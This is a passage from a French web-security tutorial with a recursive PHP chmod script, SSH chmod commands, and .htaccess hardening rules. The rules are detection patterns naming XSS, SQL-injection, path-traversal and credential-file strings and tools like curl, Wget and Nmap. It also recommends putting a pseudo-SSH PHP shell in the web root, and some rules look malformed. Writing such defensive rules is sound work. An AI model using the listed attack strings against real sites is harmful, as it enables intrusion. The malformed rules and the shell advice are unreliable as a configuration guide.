<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<html><meta http-equiv=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">content-type</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> content=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">text/html; charset=utf-8</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> />"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<body><h3>Changer les droits d'acc&egrave;s CHMOD aux dossiers et fichiers <br />dans votre h&eacute;bergement.</h3>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<table><tr><td>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<form method=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">post</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<tr><td>Droits des dossiers: </td>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<td><select name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">dir1</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">5</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>5</option><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">7</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> selected>7</option></select><select name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">dir2</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">0</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>0</option><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">5</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> selected>5</option><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">7</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>7</option></select><select name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">dir3</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">0</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>0</option><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">5</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> selected>5</option><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">7</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>7</option></select></td></tr>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<tr><td>Droits des fichiers: </td>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<td><select name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">fic1</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">4</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>4</option><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">6</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> selected>6</option></select><select name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">fic2</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">0</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>0</option><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">4</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> selected>4</option><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">6</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>6</option></select><select name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">fic3</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">0</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>0</option><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">4</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> selected>4</option><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">6</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>6</option></select></td></tr>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<tr><td>R&eacute;pertoire &agrave; contr&ocirc;ler: </td>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<td>"</span><span style="color: #666666">.</span>ABSPATH<span style="color: #666666">.</span><span style="color: #BA2121">" <input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">text</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">chemin</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> maxlength=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">80</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> size=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">30</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">/</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> ></td></tr>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<tr><td> </td><td><strong style=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">color:red</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>ATTENTION: LES MODIFICATIONS INCLUENT <br>LES DOSSIERS ENFANTS ET LEURS FICHIERS.</strong></td></tr>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<tr><td> </td><td><input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">submit</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> Changer les CHMOD des Dossiers et Fichiers </span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"</form>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"</td></tr></table>"</span>;
<span style="color: #008000; font-weight: bold">if</span> ( (<span style="color: #19177C">$dosPerm</span><span style="color: #666666">||</span><span style="color: #19177C">$ficPerm</span>) <span style="color: #666666">></span> <span style="color: #666666">0</span> ){
<span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">rChmod</span>(<span style="color: #19177C">$chem</span>,<span style="color: #19177C">$dosPerm</span>,<span style="color: #19177C">$ficPerm</span>) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">"<p><b>Journal:</b></p></span><span style="color: #BB6622; font-weight: bold">\r\n</span><span style="color: #BA2121">"</span>;
<span style="color: #19177C">$d</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> RecursiveDirectoryIterator(<span style="color: #19177C">$chem</span>, FilesystemIterator<span style="color: #666666">::</span><span style="color: #7D9029">SKIP_DOTS</span>);
<span style="color: #008000; font-weight: bold">foreach</span> (<span style="color: #008000; font-weight: bold">new</span> RecursiveIteratorIterator(<span style="color: #19177C">$d</span>, <span style="color: #666666">1</span>) <span style="color: #008000; font-weight: bold">as</span> <span style="color: #19177C">$path</span>) {
<span style="color: #19177C">$chmodret</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">false</span>;
<span style="color: #19177C">$chmodresultat</span> <span style="color: #666666">=</span> <span style="color: #BA2121">""</span>;
<span style="color: #008000; font-weight: bold">if</span> ( <span style="color: #19177C">$path</span><span style="color: #666666">-></span><span style="color: #7D9029">isDir</span>() ) {
<span style="color: #19177C">$chmodret</span> <span style="color: #666666">=</span> <span style="color: #008000">chmod</span>( <span style="color: #19177C">$path</span>, <span style="color: #19177C">$dosPerm</span> ); }
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">if</span> ( <span style="color: #008000">is_file</span>( <span style="color: #19177C">$path</span> ) ) {
<span style="color: #19177C">$chmodret</span> <span style="color: #666666">=</span> <span style="color: #008000">chmod</span>( <span style="color: #19177C">$path</span>, <span style="color: #19177C">$ficPerm</span> ); }
}
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$chmodret</span>) {<span style="color: #19177C">$chmodresultat</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"OK"</span>; }
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #19177C">$chmodresultat</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"ERREUR"</span>;
<span style="color: #666666">++</span><span style="color: #19177C">$retval</span>;
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #19177C">$chmodresultat</span> <span style="color: #666666">.</span> <span style="color: #BA2121">" "</span> <span style="color: #666666">.</span> <span style="color: #19177C">$path</span> <span style="color: #666666">.</span> <span style="color: #BA2121">"<br /></span><span style="color: #BB6622; font-weight: bold">\r\n</span><span style="color: #BA2121">"</span>;
}
<span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$retval</span>;
}
<span style="color: #19177C">$nbfailed</span> <span style="color: #666666">=</span> rChmod(<span style="color: #19177C">$chem</span>,<span style="color: #19177C">$dosPerm</span>,<span style="color: #19177C">$ficPerm</span>);
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">"<p><b>"</span>;
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$nbfailed</span> <span style="color: #666666">></span> <span style="color: #666666">0</span>) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #19177C">$nbfailed</span> <span style="color: #666666">.</span> <span style="color: #BA2121">" erreur(s) CHMOD. Voyez le journal ci-dessus."</span>;
}
<span style="color: #008000; font-weight: bold">else</span> <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">"Pas d'erreur apparente. Vérifiez par vous-même.</b> Supprimez le fichier après utilisation.</p></span><span style="color: #BB6622; font-weight: bold">\r\n</span><span style="color: #BA2121">"</span>;
}
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"</body></html>"</span>;
<span style="color: #BC7A00">?></span>
</pre></div>
<p>Il est possible d'accélérer le changement des droits par SSH en automatisant cette action. Votre hébergeur doit vous donner accès à une connexion SSH.<br>
Avec un script qui fait du <a href="http://sourceforge.net/projects/shcmd/">pseudo-ssh en PHP</a>, mettez le fichier dans le dossier "www" ou "public_html" et commencez le travail.<br>
Changer tous les droits par FTP de tous les fichiers et dossiers peut être long et fastidieux avec le risque d'en oublier. J'utilise les lignes de commandes ci-dessous pour changer les droits rapidement par SSH.</p>
<p>Connectez-vous en SSH à votre compte, puis placez-vous dans le dossier “www” (ou “public_html”) en entrant la commande cd www , et entrez les commandes suivantes en une seule ligne (après avoir modifié les noms des fichiers et dossiers selon les besoins) :<br>
En mode SSH, mettez-vous dans le dossier "www" ou "public_html" avant de commencer.<br>
On copie une ligne, on appuie sur la touche Entrée, et on copie une autre ligne, on appuie sur la touche Entrée, etc. après avoir modifié les noms des fichiers et dossiers selon les besoins.</p>
<p>Tous les fichiers ont les droits 404 ou 444 (<em>droit de lecture, aucun droit d'écriture</em>) :</p>
<span class="smallfont">Code :</span>
<pre class="smallfont code">find . -type f -print0 | xargs -0 chmod 404</pre>
<p>Tous les dossiers ont les droits 505 ou 555 (<em>droit de lecture, aucun droit d'écriture</em>) :</p>
<span class="smallfont">Code :</span>
<pre class="smallfont code">find . -type d -print0 | xargs -0 chmod 505</pre>
<p>Tous les fichiers portant le nom “.htaccess” ont les droits 404 ou 444 (<em>droit de lecture, aucun droit d'écriture</em>) :</p>
<span class="smallfont">Code :</span>
<pre class="smallfont code">find . -type f -name .htaccess -print0 | xargs -0 chmod 404</pre>
<p>Tous les fichiers contenant le nom “config*.php” (utilisation du caractère joker *) du dossier “blog” ont les droits 404 (<em>droit de lecture, aucun droit d'écriture</em>) :</p>
<span class="smallfont">Code :</span>
<pre class="smallfont code">find /home/loginftp/www/blog -type f -name "config*.php" -print0 | xargs -0 chmod 404</pre>
<p>Tous les fichiers php (“*.php” utilisation du caractère joker *) ont les droits 404 ou 444 (<em>droit de lecture, aucun droit d'écriture</em>) :</p>
<span class="smallfont">Code :</span>
<pre class="smallfont code">find . -type f -name "*.php" -print0 | xargs -0 chmod 404</pre>
<p>Tous les dossiers portant le nom “dossier_a_verrouiller” ont les droits 505 ou 555 (<em>droit de lecture, aucun droit d'écriture</em>) :</p>
<span class="smallfont">Code :</span>
<pre class="smallfont code">find . -type d -name dossier_a_verrouiller -print0 | xargs -0 chmod 505</pre>
<p>Tous les dossiers comportant le mot upload, comme “123-upload” ou “uploadbidule” (“*upload*” utilisation du caractère joker *) qui se trouvent dans le dossier “forum” ont les droits 705 (<em>droit de lecture et droit d'écriture pour vous et le serveur</em>) :</p>
<span class="smallfont">Code :</span>
<pre class="smallfont code">find /home/loginftp/www/forum -type d -name "*upload*" -print0 | xargs -0 chmod 705</pre>
<p><a href="https://fr.wikipedia.org/wiki/Chmod">Un article sur la signification du CHMOD et la signification des numéros.</a></p>
<a id="htaccess"></a><hr><br>
<header>
<h2>Le fichier .htaccess</h2>
</header>
<p>Je vous propose 9 astuces pour sécuriser votre site web. Elles sont très efficaces et permettent de stopper beaucoup de tentatives de piratages <strong>avant</strong> que votre CMS, blog ou e-commerce entre en action. Donc, dans une certaine mesure, si votre logiciel a une faille, peut-être que ces règles éviteront qu'elle ne soit exploitée. N'installez pas ces règles en une fois, suivez les conseils d'installations et de tests après la 9e astuce. <strong>Appliquez au moins les règles 3, 4, 5 et 6 qui sont très efficaces</strong>, elles vous protégerons de 90% des attaques automatiques tout en ayant peu de risque de bloquer votre site internet.</p>
<p>Créez le fichier .htaccess avec un logiciel de texte simple (tout sauf Word). Appelez-le “txt.htaccess”, envoyez-le par FTP dans votre dossier www et renommez-le en “.htaccess”. Si le fichier existe déjà, ajoutez les règles décrites ci-après à la suite du texte. Puis donnez-lui par FTP les droits 404 ou 444. Il ne sera pas modifiable.</p>
<p>Voici une suite de commandes qui permettent de sécuriser votre site web.</p>
<p><strong>1-</strong> Interdire l'accès à ce fichier depuis un navigateur web :</p>
<span class="smallfont">Code :</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #008000; font-weight: bold"><Files</span> <span style="color: #BA2121">.htaccess</span><span style="color: #008000; font-weight: bold">></span>
<span style="color: #008000">order</span> allow,deny
<span style="color: #008000">deny</span> from <span style="color: #008000; font-weight: bold">all</span>
<span style="color: #008000; font-weight: bold"></Files></span>
</pre></div>
<p><strong>2-</strong> Interdire de lister le contenu d'un dossier :</p>
<span class="smallfont">Code :</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #008000">Options</span> -Indexes
</pre></div>
<p><strong>3-</strong> On bloque toute une série de failles potentielles. La plupart des pirates utilisent ces moyens pour tester la faiblesse de votre site. Là, on les bloque avant qu'il ne pénètre votre CMS, blog ou e-commerce. <strong class="vert">-= TRÈS EFFICACE ET INDISPENSABLE =-</strong></p>
<span class="smallfont">Code :</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #408080; font-style: italic">### FILTRE CONTRE XSS, REDIRECTIONS HTTP, base64_encode, VARIABLE PHP GLOBALS VIA URL, MODIFIER VARIABLE _REQUEST VIA URL, TEST DE FAILLE PHP, INJECTION SQL SIMPLE</span>
<span style="color: #008000">RewriteEngine</span> <span style="color: #008000; font-weight: bold">On</span>
<span style="color: #008000">RewriteCond</span> %{REQUEST_METHOD} (GET|POST) [NC]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^(.*)(%3C|<)/?(no)?script(.*)$ [NC,OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^(.*)(%3D|=)?javascript(%3A|:)(.*)$ [NC,OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^(.*)document\.location\.href(.*)$ [OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^.*(%24&x).* [NC,OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^.*(127\.0).* [NC,OR]
<span style="color: #408080; font-style: italic">## ATTENTION À CETTE RÈGLE. ELLE PEUT CASSER CERTAINES REDIRECTIONS RESSEMBLANT À: http://www.truc.fr/index.php?r=http://www.machin.fr</span>
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^(.*)(%3D|=|%2B|\+)(%27|'|%22|\")?(https?|ftp|mosConfig)(%3A|:)(%2F%2F|//)(.*)$ [NC,OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^.*(_encode|localhost|loopback).* [NC,OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^author=[1-9] [NC,OR] ## recherche page auteur Wordpress pour deviner le login
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^(.*)(GLOBALS|_REQUEST|DOCUMENT_ROOT|_SERVER|_POST)(=|\[|%[0-9A-Z]{0,2})(.*)$ [OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^(.*)(SELECT(%20|\+)|UNION(%20|\+)ALL|INSERT(%20|\+)|DELETE(%20|\+)|CHAR\(|UPDATE(%20|\+)|REPLACE(%20|\+)|LIMIT(%20|\+)|CONCAT(%20|\+)|DECLARE(%20|\+))(.*)$ [NC]
<span style="color: #008000">RewriteRule</span> (.*) - [F]
</pre></div>
<p><strong>4-</strong> On bloque certaines requêtes bizarres: <strong class="vert">-= TRÈS EFFICACE ET INDISPENSABLE =-</strong></p>
<span class="smallfont">Code :</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #408080; font-style: italic">### DES FAUX URLS OU VIEUX SYSTEMES OBSOLETES OU URLS PAR DÉFAUT À EVITER, ON LES NEUTRALISE</span>
<span style="color: #008000">RewriteRule</span> "(base64|boot\.ini|eval\(|\(null\)|^[-_a-z0-9/\.]*//.*|etc(%2F|/)passwd|(%3D|=)\.\./\.\./|^_vti.*|^MSOffice.*|fckeditor/|elfinder/|^simpla/|zoho/|jquery-file-upload/server/|/assetmanager/|wwwroot|e107\_|^netcat/|^indy/|^etm/|^static/|^downloader/|trackback|^pma/|phpmyadmin/|^(my?)sql\.|^dump\.|^db\.|^database\.|^backups?\.|^httpdoc\.|^public_html\.|^old[-_]\.|^pack\.|^iismap\.)" - [NC,F]
<span style="color: #408080; font-style: italic">### DÉSACTIVE LES MÉTHODES DE REQUÊTES DELETE, PUT, PATCH DE WEBDAV</span>
<span style="color: #008000">RewriteCond</span> %{REQUEST_METHOD} ^(DELETE|PUT|PATCH) [NC,F]
</pre></div>
<p><strong>5-</strong> On n'autorise que l'affichage de certains fichiers, et pas les autres. Le fichier index.php est le fichier par défaut. Si on affiche index.htm, ça ne marche pas. L'intérêt est d'interdire au pirate d'afficher sur son navigateur un fichier ou un format de fichier non autorisé. <strong class="vert">-= <u>TRÈS</u> <u>TRÈS</u> <u>TRÈS</u> EFFICACE MAIS À TESTER ET À ADAPTER À VOTRE INSTALLATION =-</strong><br>
Attention: il faut tester ces interdictions et les adapter au besoin.</p>
<span class="smallfont">Code :</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #408080; font-style: italic">### SEUL LE FICHIER index.php EST SERVI COMME PREMIER FICHIER PAR DÉFAUT. LES AUTRES SONT INTERDITS</span>
<span style="color: #008000">DirectoryIndex</span> index.php
<span style="color: #008000">RewriteEngine</span> <span style="color: #008000; font-weight: bold">On</span>
<span style="color: #408080; font-style: italic">### INTERDIRE LES AUTRES TYPES DE FICHIER INDEX</span>
<span style="color: #008000">RewriteRule</span> <span style="color: #BA2121">"^(index)\.(p?s?x?htm?|txt|aspx?|cfml?|cgi|pl|php[3-9]|jsp|xml)$"</span> - [NC,F]
<span style="color: #408080; font-style: italic">### INTERDIRE L'AFFICHAGE DE CERTAINS FORMATS DE FICHIER EXÉCUTÉS PAR LE SERVEUR </span>
<span style="color: #408080; font-style: italic">### MAIS INTERDIT D'AFFICHAGE PAR LE NAVIGATEUR WEB</span>
<span style="color: #008000">RewriteRule</span> <span style="color: #BA2121">"(\.(aspx?|backup|bak|bash|bat|bin|bkp|c|cfg|class|cmd|com|conf|config|cvs|cxz|dat|db|dist|dll|dos|env|exe|fla|git|h|hg|inc|ini|jsp|key|lnk|log|mdb|module|mso|old|pass|pdb|pl|pol|printer|psd|pwd|py|rar|resources|sh|spd|sql|svn|sw[op]|sys|theme|tpl|webinfo)|~)$"</span> - [NC,F]
<span style="color: #408080; font-style: italic">### INTERDIRE L'ACCÈS À CERTAINS DOSSIERS PAR LE NAVIGATEUR WEB </span>
<span style="color: #408080; font-style: italic">### MAIS AUTORISÉS ET EXÉCUTÉS PAR LE SERVEUR</span>
<span style="color: #408080; font-style: italic">### À ADAPTER SI CELA POSE PROBLÈME</span>
<span style="color: #008000">RewriteRule</span> <span style="color: #BA2121">"(\.svn|\.git|\.hg|\.bzr|\.env|\.cvs|\.ssh|install?|users?|modules|node|core|config(ure|uration)?|options?|settings?|functions?|setup|[-_a-z0-9.]*cms[-_a-z0-9.]*|[-_a-z0-9.]*php[-_a-z0-9.]*|null|^root|^logs?)/.*"</span> - [NC,F]
<span style="color: #408080; font-style: italic">### INTERDIRE L'AFFICHAGE DE CERTAINS FICHIERS COMME readme, changelog, default, xmlrpc. </span>
<span style="color: #408080; font-style: italic">### CES FICHIERS DONNENT DES INFORMATIONS PRÉCIEUSES SUR LA CONFIGURATION INSTALLÉE (NOM DU SERVEUR ET NUMÉRO DE VERSION). </span>
<span style="color: #408080; font-style: italic">### À ADAPTER SI CELA POSE PROBLÈME</span>
<span style="color: #008000">RewriteRule</span> <span style="color: #BA2121">"(readme|changelog|license|default|home|xmlrpc|local|errors?|debug|hacke?r?d?|php|shell|ssh|roots?|cmd|null|test|data)\.(p?s?x?htm?l?|txt|md|log|aspx?|cfml?|cgi|pl|php[3-9]{0,1}|jsp?|sql|xml)$"</span> - [NC,F]
<span style="color: #408080; font-style: italic">### PROTECTION DES ACCÈS SFTP DE SYNCHRONISATION NON SÉCURISÉS ET NON AUTORISÉS DEPUIS UN NAVIGATEUR WEB</span>
<span style="color: #008000">RewriteRule</span> <span style="color: #BA2121">"\.?(s?ftp|remote|deployment|ws_ftp|winscp|filezilla|webservers)-?(config|sync)?\.(json|settings?|ini|xml)$"</span> - [NC,F]
<span style="color: #008000">RewriteRule</span> <span style="color: #BA2121">"(\.ssh/)?(id_[rdec1259]+sa)$"</span> - [NC,F]
<span style="color: #408080; font-style: italic">### SI VOUS N'UTILISEZ PAS DE CMS, VOUS POUVEZ AJOUTER LE CODE CI-DESSOUS, </span>
<span style="color: #408080; font-style: italic">### OU INSPIREZ-VOUS EN POUR VERROUILLER ENCORE MIEUX VOTRE CMS</span>
<span style="color: #008000">RewriteRule</span> <span style="color: #BA2121">"(install?|users?|upload(er)?|regist(er|ration)|config(\.inc|ure|uration)?|options?(\.inc)?|settings?(\.inc)?|functions?(\.inc)?|setup(\.inc)?)\.(p?s?x?htm?l?|css|txt|md|log|aspx?|cfml?|cgi|pl|php[3-9]{0,1}|jsp?)$"</span> - [NC,F]
<span style="color: #408080; font-style: italic">### INTERDIRE L'ACCÈS AUX INTERFACES D'ADMINISTRATION DE WORDPRESS OU AUTRE CMS</span>
<span style="color: #408080; font-style: italic">### AVEC UN ACCÈS CLASSIQUE PAR DÉFAUT QUI SE DEVINE FACILEMENT COMME login ou wp-login, admin, manager, etc.</span>
<span style="color: #408080; font-style: italic">### OU INSPIREZ-VOUS EN POUR VERROUILLER ENCORE MIEUX VOTRE CMS</span>
<span style="color: #008000">RewriteRule</span> <span style="color: #BA2121">"(wp-?|wordpress|login|(my)?admin(istrator)?(zone)?|blog/|^modules|^manager)"</span> - [NC,F]
</pre></div>
<p><strong>6-</strong> Empêcher l'exécution de tout script PHP, Perl, CGI dans un dossier. L'option ci-dessous vous permet par exemple de protéger un dossier d'upload ou tout dossier très sensible dont vous voulez renforcer la sécurité. Il ne faut pas utiliser cette option dans le fichier .htaccess avec tous les codes décrits ci-dessus. Je vous invite plutôt à créer un fichier .htaccess et à le mettre dans le dossier à protéger. Cette option empêche un navigateur web d'exécuter le script directement. Mais si le navigateur ouvre le fichier index.php qui fait un include() vers un fichier php se trouvant dans le dossier protégé par le code ci-dessous, tout s'exécutera bien. On protège donc l'exécution directe du fichier par un navigateur quand le pirate essaye d'entrer du code malicieux non filtré. <strong class="vert">-= TRÈS EFFICACE ET INDISPENSABLE =-</strong></p>
<span class="smallfont">Code :</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #408080; font-style: italic">### Aucun script dans le dossier et ses sous-dossiers, que ce soit PHP, PERL ou autre CGI, ne pourra s'executer si ExecCGI est inactif. Et il est interdit d'afficher la liste des fichiers.</span>
<span style="color: #008000">OPTIONS</span> -ExecCGI -Indexes
</pre></div>
<p><strong>7-</strong> Exclure les logiciels suspects utilisés par les pirates et certains aspirateurs de site web. Appliquez cette règle sans trop de risque, car on bloque certaines attaques automatiques. Cette liste est le minimum. Vous pouvez en ajouter d'autres si vous en trouvez. Cependant, elle n'est plus aussi efficace qu'avant, car maintenant tous les robots pirates utilisent des fausses déclarations. On bloque ici les plus idiots.</p>
<span class="smallfont">Code :</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #408080; font-style: italic">### FILTRE CONTRE CERTAINS ROBOTS DES PIRATES</span>
<span style="color: #008000">RewriteEngine</span> <span style="color: #008000; font-weight: bold">On</span>
<span style="color: #408080; font-style: italic">## EXCEPTION: TOUS LES ROBOTS MÊMES ANONYMES OU BANNIS PEUVENT ACCÉDER À CES FICHIERS</span>
<span style="color: #008000">RewriteCond</span> %{REQUEST_URI} !^robots.txt
<span style="color: #008000">RewriteCond</span> %{REQUEST_URI} !^sitemap.xml
<span style="color: #408080; font-style: italic">## ANONYMES</span>
<span style="color: #008000">RewriteCond</span> %{HTTP_USER_AGENT} ^-?$ [OR]
<span style="color: #408080; font-style: italic">## BIBLIOTHÈQUES / CLASSES HTTP DONT ON NE VEUT PAS. ATTENTION, CELA PEUT BLOQUER CERTAINES FONCTIONS DE VOTRE CMS. NE PAS TOUT EFFACER, MAIS CHERCHEZ LE NOM DE LA CLASSE HTTP CONCERNÉE (DEMANDEZ AUX DÉVELOPPEURS DE VOTRE CMS). CETTE LISTE BLOQUE 80% DES ROBOTS SPAMMEURS. IL FAUT LA CONSERVER.</span>
<span style="color: #008000">RewriteCond</span> %{HTTP_USER_AGENT} ^curl|^Fetch\ API\ Request|GT::WWW|^HTTP::Lite|httplib|^Java|^LeechFTP|lwp-trivial|^LWP|libWeb|libwww|^PEAR|PECL::HTTP|PHPCrawl|PycURL|^ReGet|Rsync|Snoopy|URI::Fetch|urllib|WebDAV|^Wget|^AnyConnect|Nmap\ Scripting [NC]
<span style="color: #408080; font-style: italic">## CEUX QUI INVENTENT DES NOMS AU HASARD, RETIREZ LES 2 DIÈSES EN DÉBUT DE LIGNE POUR L'ACTIVER</span>
<span style="color: #408080; font-style: italic">## RewriteCond %{HTTP_USER_AGENT} ^[bcdfghjklmnpqrstvwxz\ ]{10,}|^[0-9a-z]{15,}|^[0-9A-Za-z]{19,}|^[A-Za-z]{3,}\ [a-z]{4,}\ [a-z]{4,} [OR]</span>
<span style="color: #008000">RewriteRule</span> (.*) [F]
</pre></div>
<p><strong>8-</strong> Interdiction du hotlinking. Remplacez <em>mondomaine</em> par votre nom de domaine, et <em>\.fr</em> par fr, com, net, org ou autres extensions en gardant le \ avant le point.</p>
<span class="smallfont">Code :</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #408080; font-style: italic">### ON ÉVITE LE VOL D'IMAGES, VIDÉO, SON, FEUILLE DE STYLE, PDF ET ZIP</span>
